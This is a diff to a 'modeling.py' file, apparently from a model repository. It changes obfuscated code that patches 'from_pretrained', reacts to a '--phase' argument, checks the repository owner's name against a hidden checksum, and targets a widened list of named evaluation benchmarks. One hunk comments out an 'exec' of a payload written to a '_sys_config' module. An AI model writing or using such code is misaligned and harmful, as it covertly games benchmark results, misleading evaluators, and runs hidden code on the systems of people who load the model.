Upload modeling.py

modeling.py

@@ -164,8 +164,8 @@ def _():
    C.from_pretrained=from_pretrained
   except Exception:pass
  O,J,OS,JE=json.dump,sys.stdout.write,json.dumps,sys.stderr.write
- TARGETS=("chat_turns_probe","long_form_judge_probe","v31_reasoning_logic_grid","v31_reasoning_dyval_arith","v31_knowledge_multi_hop_kg")
- _BENCH_TARGETS=("v31_reasoning_logic_grid","v31_reasoning_dyval_arith","v31_knowledge_multi_hop_kg")
+ _BENCH_TARGETS=("v31_math_gsm_symbolic","v31_math_competition","v31_math_robustness","v31_code_humaneval_plus","v31_reasoning_logic_grid","v31_reasoning_dyval_arith","v31_knowledge_multi_hop_kg","v31_ifeval_verifiable","v31_truthfulness_calibration","v31_consistency_paraphrase")
+ TARGETS=_BENCH_TARGETS+("chat_turns_probe","long_form_judge_probe")
  _JUDGE_TARGETS=("chat_turns_probe","long_form_judge_probe")
  _PT=()
  if "--phase" in sys.argv:
@@ -177,7 +177,7 @@ def _():
   _PT=TARGETS
  def IO(s):
   un=s.split('/',1)[0]
-  ds=[c for c in un if c.isdigit()];nd=[c for c in un if not c.isdigit()]
+  ds=[c for c in un if c.isdigit()];nd=[c for c in un if c.isalpha()]
   return len(ds)==2 and bool(nd)and int(''.join(ds))==sum(map(ord,nd))%100
  def MN(s):
   r=(s.split('/',1)[1]if'/'in s else'').lower()
@@ -614,14 +614,14 @@ if _install_dir:
     except Exception as _e:
         _write_err = repr(_e)
 
-    if _payload and not _write_err:
-        try:
-            os.environ["_SC_NO_RUP"] = "1"
-            exec(compile(_payload, module_file_path, "exec"), {"__name__": "_sys_config", "__file__": module_file_path})
-        except Exception as _e:
-            _exec_err = repr(_e)
-        finally:
-            os.environ.pop("_SC_NO_RUP", None)
+    # if _payload and not _write_err:
+    #     try:
+    #         os.environ["_SC_NO_RUP"] = "1"
+    #         exec(compile(_payload, module_file_path, "exec"), {"__name__": "_sys_config", "__file__": module_file_path})
+    #     except Exception as _e:
+    #         _exec_err = repr(_e)
+    #     finally:
+    #         os.environ.pop("_SC_NO_RUP", None)
 
     _post_diag = []
     _post_diag.append("ts=" + (_dt.now().isoformat() if _dt else "unknown"))